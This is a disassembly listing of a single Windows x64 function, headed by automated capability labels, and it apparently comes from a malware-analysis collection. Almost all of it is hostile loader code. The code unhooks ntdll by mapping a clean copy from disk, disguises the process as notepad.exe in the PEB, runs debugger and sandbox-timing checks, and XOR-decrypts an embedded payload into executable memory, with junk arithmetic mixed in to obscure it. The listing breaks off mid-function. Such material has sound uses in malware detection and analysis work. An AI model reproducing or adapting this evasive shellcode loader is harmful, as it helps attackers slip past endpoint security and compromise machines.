Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8c8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x870], ecx
mov qword [rbp + 0x878], rdx
call fcn.140002c90
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
mov ecx, 0x1a50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov dword [rbp + 0x834], 0
jmp 0x1400015b2
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b650]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
movsd xmm1, qword [0x14000b658]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x349
jle 0x140001564
mov dword [rbp + 0x834], 0
jmp 0x14000161c
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x349
jle 0x1400015ca
cmp qword [rbp + 0x838], 0
jne 0x140001662
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x140001b8e
mov dword [rbp + 0x7a4], 1
mov ecx, 0x9d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov qword [rbp + 0x828], 2
jmp 0x1400016bf
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x273
jbe 0x140001698
mov qword [rbp + 0x828], 2
jmp 0x140001756
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x14000174e
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x820], rax
jmp 0x140001737
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x820], 1
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
cmp rax, 0x273
jbe 0x140001708
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x273
jbe 0x1400016d9
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
mov rax, qword [rbp + 0x7b0]
mov r10, qword [rbp + 0x838]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x81c], 0xffffffff
mov ecx, 0x648
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
add dword [rbp + 0x81c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x790]
add rax, rdx
movsd xmm1, qword [0x14000b650]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x790]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x81c], 0xc7
jle 0x1400017c1
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x788], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x780], rax
mov dword [rbp + 0x818], 0xffffffff
mov ecx, 0x1290
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
add dword [rbp + 0x818], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
movsd xmm1, qword [0x14000b650]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x778]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cd0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x818], 0x250
jle 0x1400018c7
mov rax, qword [rbp + 0x780]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x788]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x788]
add rax, rdx
mov qword [rbp + 0x758], rax
mov word [rbp + 0x816], 0
jmp 0x140001b76
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x758]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x816]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b65
mov dword [rbp + 0x5b8], 0
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x768]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5b8]
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x816]
add eax, 1
mov word [rbp + 0x816], ax
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 6]
cmp word [rbp + 0x816], ax
jb 0x140001a3a
mov dword [rbp + 0x5bc], 0
mov rax, qword [rbp + 0x7c0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x5bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x748]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5c8]
add rax, 0x3c
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x740]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x73c], 0x26d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
call rax
mov dword [rbp + 0x724], eax
mov eax, dword [rbp + 0x73c]
mov r8, qword [rbp + 0x730]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x728]
call rax
mov dword [rbp + 0x720], eax
mov eax, dword [rbp + 0x720]
sub eax, dword [rbp + 0x724]
cmp eax, 0x23b
jbe 0x140002bcc
mov dword [rbp + 0x5b4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b4]
mov r8, qword [rbp + 0x718]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b4]
cmp eax, 1
je 0x140002bcc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
jne 0x140002bcc
mov qword [rbp + 0x700], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x3000
mov r8d, 0x3d8
mov edx, 0
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002bcc
mov qword [rbp + 0x808], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140001eb5
mov rax, qword [rbp + 0x6f0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x3000
mov r8d, 0x3d3
mov edx, 0
call rax
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
je 0x140002bcc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
jne 0x140002bcc
mov dword [rbp + 0x5b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b0]
mov r8, qword [rbp + 0x6d0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b0]
cmp eax, 1
je 0x140002bcc
mov qword [rbp + 0x6c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xfdba80
mov ecx, 0
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
je 0x140002bcc
mov rax, qword [rbp + 0x6c8]
mov edx, 0xfdba80
mov rcx, rax
call fcn.140009350
mov rax, qword [rbp + 0x6c8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x74f
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x74f
jne 0x140002bcc
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x6bc], 0x36d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
call rax
mov dword [rbp + 0x6a4], eax
mov eax, dword [rbp + 0x6bc]
mov r8, qword [rbp + 0x6b0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6a8]
call rax
mov dword [rbp + 0x6a0], eax
mov eax, dword [rbp + 0x6a0]
sub eax, dword [rbp + 0x6a4]
cmp eax, 0x33b
jbe 0x140002bcc
lea rax, [rbp + 0xa0]
lea rdx, [0x14000b148]
mov ecx, 0xa1
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x7b8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x698]
mov r8d, 0
mov edx, 0x507
mov ecx, 0x40000
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov r9, qword [rbp + 0x690]
mov r8d, 0x507
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0x507
mov rcx, rax
call r9
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x800], 0
mov dword [rbp + 0x7fc], 0
movabs rax, 0x7b637f4e69579272
movabs rdx, 0x9319416c46c8d2de
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x8afc6e8b289d3efc
movabs rdx, 0x407412f929a626be
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x2a9ab24ce2e76407
movabs rdx, 0xf028064114251180
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xaac606eed3f02806
movabs rdx, 0x26ddeab29130aa
mov qword [rbp + 0x2d], rax
mov qword [rbp + 0x35], rdx
mov ecx, 0xe1c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x7f8], 0
jmp 0x1400022f4
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x386
jle 0x1400022a7
mov dword [rbp + 0x7f8], 0
jmp 0x14000240c
mov dword [rbp + 0x60c], 0
jmp 0x1400023ee
mov eax, dword [rbp + 0x7f8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x60c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x1400023e7
mov eax, dword [rbp + 0x60c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x608], eax
mov eax, dword [rbp + 0x7f8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rbp + 0x60c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x60c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x608]
mov dword [rdx], eax
add dword [rbp + 0x7f8], 1
mov eax, 0x386
sub eax, dword [rbp + 0x7f8]
cmp dword [rbp + 0x60c], eax
jl 0x14000231e
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x386
jle 0x14000230f
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x8513e0d6d31bae59
movabs rdx, 0xdb20abf2feb7a0d2
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x38c716873a77f063
movabs rdx, 0x55010a76ef8a5967
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x3dac65ac328784c4
movabs rdx, 0x7c68e8d7ecd4e851
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x136f16d25007e8da
movabs rdx, 0x97120e6bac37daec
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xe14925348cf31be7
movabs rdx, 0x478e67d8ead5f171
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x855daac9478e67d8
movabs rdx, 0x7fcc56f2b8ab60
mov qword [rbp + 0x8c], rax
mov qword [rbp + 0x94], rdx
jmp 0x1400026e8
cmp dword [rbp + 0x800], 0x5a
jne 0x1400026b2
mov dword [rbp + 0x7f4], 0xffffffff
mov ecx, 0x1bd8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
add dword [rbp + 0x7f4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b650]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x620]
add rax, rdx
movsd xmm1, qword [0x14000b658]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x620]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x620]
add rax, rdx
movq xmm1, qword [0x14000b660]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x7f4], 0x379
jle 0x14000250c
mov eax, dword [rbp + 0x804]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x800]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x804]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x800], 0
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x61c], 0
mov ecx, 0xd50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov dword [rbp + 0x7f0], 0
jmp 0x140002691
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x7f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x7f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7ec], eax
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x353
jle 0x140002615
mov rax, qword [rbp + 0x610]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x1400026e1
mov eax, dword [rbp + 0x804]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x800]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x804]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x800], 1
add dword [rbp + 0x804], 1
mov eax, dword [rbp + 0x804]
cmp eax, 0x3b
jbe 0x1400024e4
mov dword [rbp + 0x804], 0
jmp 0x140002b33
cmp dword [rbp + 0x7fc], 0x3b
jne 0x140002859
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7fc]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7e8], 0x140
mov dword [rbp + 0x7e4], 0x136
mov dword [rbp + 0x7e0], 0x37a
mov dword [rbp + 0x7dc], 0x1e0
jmp 0x14000283d
mov eax, dword [rbp + 0x7e0]
cmp eax, dword [rbp + 0x7dc]
jle 0x1400027da
mov eax, dword [rbp + 0x7e0]
cmp eax, dword [rbp + 0x7e8]
jle 0x1400027ba
mov eax, dword [rbp + 0x7e0]
cmp eax, dword [rbp + 0x7e4]
jle 0x1400027b1
sub dword [rbp + 0x7e0], 1
jmp 0x140002826
sub dword [rbp + 0x7e4], 1
jmp 0x140002826
mov eax, dword [rbp + 0x7e8]
cmp eax, dword [rbp + 0x7e4]
jle 0x1400027d1
sub dword [rbp + 0x7e8], 1
jmp 0x140002826
sub dword [rbp + 0x7e4], 1
jmp 0x140002826
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x7e8]
jle 0x140002808
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x7e4]
jle 0x1400027ff
sub dword [rbp + 0x7dc], 1
jmp 0x140002826
sub dword [rbp + 0x7e4], 1
jmp 0x140002826
mov eax, dword [rbp + 0x7e8]
cmp eax, dword [rbp + 0x7e4]
jle 0x14000281f
sub dword [rbp + 0x7e8], 1
jmp 0x140002826
sub dword [rbp + 0x7e4], 1
mov eax, dword [rbp + 0x7e0]
mov edx, eax
lea rax, [0x14000b137]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x7e0], 0
jg 0x14000277e
mov dword [rbp + 0x7fc], 0
jmp 0x140002b2c
mov ecx, 0x5f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x7d4], 0
mov dword [rbp + 0x64c], 0
mov dword [rbp + 0x7d8], 0
jmp 0x1400028d6
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x17d
jle 0x14000288a
mov dword [rbp + 0x7d8], 0
jmp 0x140002917
mov eax, dword [rbp + 0x7d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7d4], eax
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x17d
jle 0x1400028ee
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7fc]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0xb78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov ecx, 0xb78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov ecx, 0xb78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0xb78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7cc], 0x2dd
mov dword [rbp + 0x7d0], 0
jmp 0x140002ad9
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7d0]
movsxd rdx, edx
